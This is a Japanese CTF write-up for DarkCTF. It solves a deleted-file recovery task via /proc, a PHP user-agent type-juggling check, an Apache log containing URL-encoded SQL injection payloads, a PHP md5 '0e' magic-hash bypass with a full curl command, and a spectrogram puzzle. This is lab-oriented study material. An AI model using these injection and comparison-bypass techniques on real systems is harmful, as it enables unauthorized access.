DarkCTF Write up
あまり勉強の蓄積は効かず、手癖で解けたものだけでした。
Linux
Find-Me
Mr.Wolf was doing some work and he accidentally deleted the important file can you help him and read the file? Note: All players will get individual container. ssh ctf@findme.darkarmy.xyz -p 10000 password: wolfie
wolf1 というユーザでログインとなる。/home/wolf1 がホームで、ls しても空っぽ。 ls /home すると、ほかに wolf2 が居るのが分かる。sudo は無いが、su はできる。
雑に deleted file recovery linux でぐぐる。対象サーバは docker 環境なので /dev/sd* などのブロックデバイスは存在しない。よって raw なバイナリを探ったりはできない。そういう情報は除外して調べた。
https://unix.stackexchange.com/questions/80270/unix-linux-undelete-recover-deleted-files
f=$(ls 2>/dev/null -l /proc/*/fd/* | fgrep "$1 (deleted" | awk '{print $9}')
/proc/*/fd/*
になにか出ているらしい。
$ ls /proc/*/*fd* ... /proc/10/fd: total 0 lr-x------ 1 wolf1 wolf1 64 Sep 25 23:32 0 -> /dev/null l-wx------ 1 wolf1 wolf1 64 Sep 25 23:32 1 -> /dev/null l-wx------ 1 wolf1 wolf1 64 Sep 25 23:32 2 -> /dev/null lr-x------ 1 wolf1 wolf1 64 Sep 25 23:32 3 -> '/home/wolf1/pass (deleted)' ...
怪しいファイルがあった。
$ cp /proc/10/fd/3 pass $ cat pass mysecondpassword123
mysecondpassword なので、wolf2 のパスワードと推察。
$ su wolf2 Password: mysecondpassword123 (wolf2)$ cd /home/wolf2 $ ls -R .: bin etc flag_might_be_here not_so_important_files not_sure proc somefiles tmp ./bin: wolf2 ./bin/wolf2: bin tmp ./bin/wolf2/bin: ./bin/wolf2/tmp: ./etc: ./flag_might_be_here: ./not_so_important_files: ./not_sure: ./proc: a f g l ./proc/a: ./proc/f: ./proc/g: nice_work ./proc/l: ./somefiles: ./tmp: $ cat ./proc/g/nice_work darkCTF{you are standing on the flag} }!!!kr0w_3c1n_hha0w{FTCkrad
}!!!kr0w_3c1n_hha0w{FTCkrad をリバースするとフラグになっている
Web
Source
Don't know source is helpful or not !!
$web = $_SERVER['HTTP_USER_AGENT']; if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> <p>darkCTF{}</p></div>');
UA 偽装すればいいが、問題は値だ。
PHP において
- is_numeric が true
- 文字列長が1から3
- 10000 との比較で大きいと判定される
という文字列にしなければならない。単に整数 999 では、条件1,2 は通るが 3 は FALSE になる。
https://www.php.net/manual/en/function.is-numeric.php
Finds whether the given variable is numeric. Numeric strings consist of optional whitespace, optional sign, any number of digits, optional decimal part and optional exponential part. Thus +0123.45e6 is a valid numeric value. Hexadecimal (e.g. 0xf4c3b00c) and binary (e.g. 0b10100111001) notation is not allowed.
is_numeric()の判定では整数だけではなく、数値リテラルならなんでも通すらしい。浮動小数点リテラルを試してみよう。1e9で、1x109=1000000000になる。
$ curl -A "1e9" http://source.darkarmy.xyz/ <html> <head> <title>SOURCE</title> <style> #main { height: 100vh; } </style> </head> <body><center> <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> <div class="w3-panel w3-green"><h3>Correct</h3> <p>darkCTF{changeing_http_user_agent_is_easy}</p></div></center> <!-- Source is helpful --> </body> </html>
done.
Apache Logs
Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs. flag format: DarkCTF{}
Apache のログが添付されている。
logs.ctf
大半はヒントになっていないアクセスだ。ログにある対象サーバはローカルネットワークらしく、実際にはアクセスできない。だからログの内容から読み取る必要がある。
怪しいところをピックアップ
192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
URL Decode "GET /mutillidae/index.php?page=user-info.php&username=' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+&password=&user-info-php-submit-button=View Account Details HTTP/1.1"
どうやら SQL インジェクションを試みている。
102 108 97 103 32 105 115 32 83 81 76 95 73 110 106 101 99 116 105 111 110 を ASCII にすると、flag is SQL_Injection
だがこれ自体はフラグではなかった。
次はこれ。
192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=®ister-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
URL Decode
GET /mutillidae/index.php?csrf-token=&username=CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)&password=&confirm_password=&my_signature=®ister-php-submit-button=Create Account HTTP/1.1
121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99 は、you are on the right track
同様に次の部分。
192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=' union all select 1,String.fromCharCode(102,+108,+97,+103,+32,+105,+115,+32,+68,+97,+114,+107,+67,+84,+70,+123,+53,+113,+108,+95,+49,+110,+106,+51,+99,+116,+49,+48,+110,+125),3 --+&password=&user-info-php-submit-button=View Account Details
flag is DarkCTF{5ql_1nj3ct10n}
PHP information
Let's test your php knowledge. Flag Format: DarkCTF{} http://php.darkarmy.xyz:7001
開くと、HTML と PHP のソースコードが表示される。どうやらこのサイトのコードのようだ。
クエリパラメータおよび User Agent を操作することで条件分岐を通し、FLAG を出すということのようだ。
ソースコードの if を通すように curl を組んでいく。
if (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1></br>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1></br>"; }
ここだけ難しい。文字列としては違うけど md5() で比較すると同じになる? MD5 で重複する文字列も探したが、PHP 的には MD5 を比較する際のコーディングの間違いをついたほうがスマートのようだ。
http://peccu.hatenablog.com/entry/2015/05/23/000000
比較が
===
ではなく==
であるから、ということがわかったとして、なぜ同じになるのか。 上記2つの文字列のmd5ハッシュ値が0eで始まり、以降数字が並ぶからです。
0e で始まる md5 の文字列を用意すればいいようだ。このサイトの例をそのまま使わせてもらう。
コンソールで見ると読みづらいので一旦 index.html に保存してからブラウザで開いた。
curl -A 2020_the_best_year_corona 'http://php.darkarmy.xyz:7001/?darkctf=2020&ctf2020=WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09&karma=Password147186970!&2020=240610708' -o index.html
Flag : DarkCTF{
Flag : very_
Flag : nice
Flag : _web_challenge_dark_ctf}
Forensics
AW
動画にノイズが入っているように聞こえる。Spectre.mp4 というファイル名から Spectrogram のフォレンジックを疑う。
ffmpeg -i Spectre.mp4 -vn -acodec libmp3lame -f mp3 Spectre.mp3
Audacity で Spectre.mp3 を開いて Spectrogram で見ると、フラグが浮き上がる。
darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}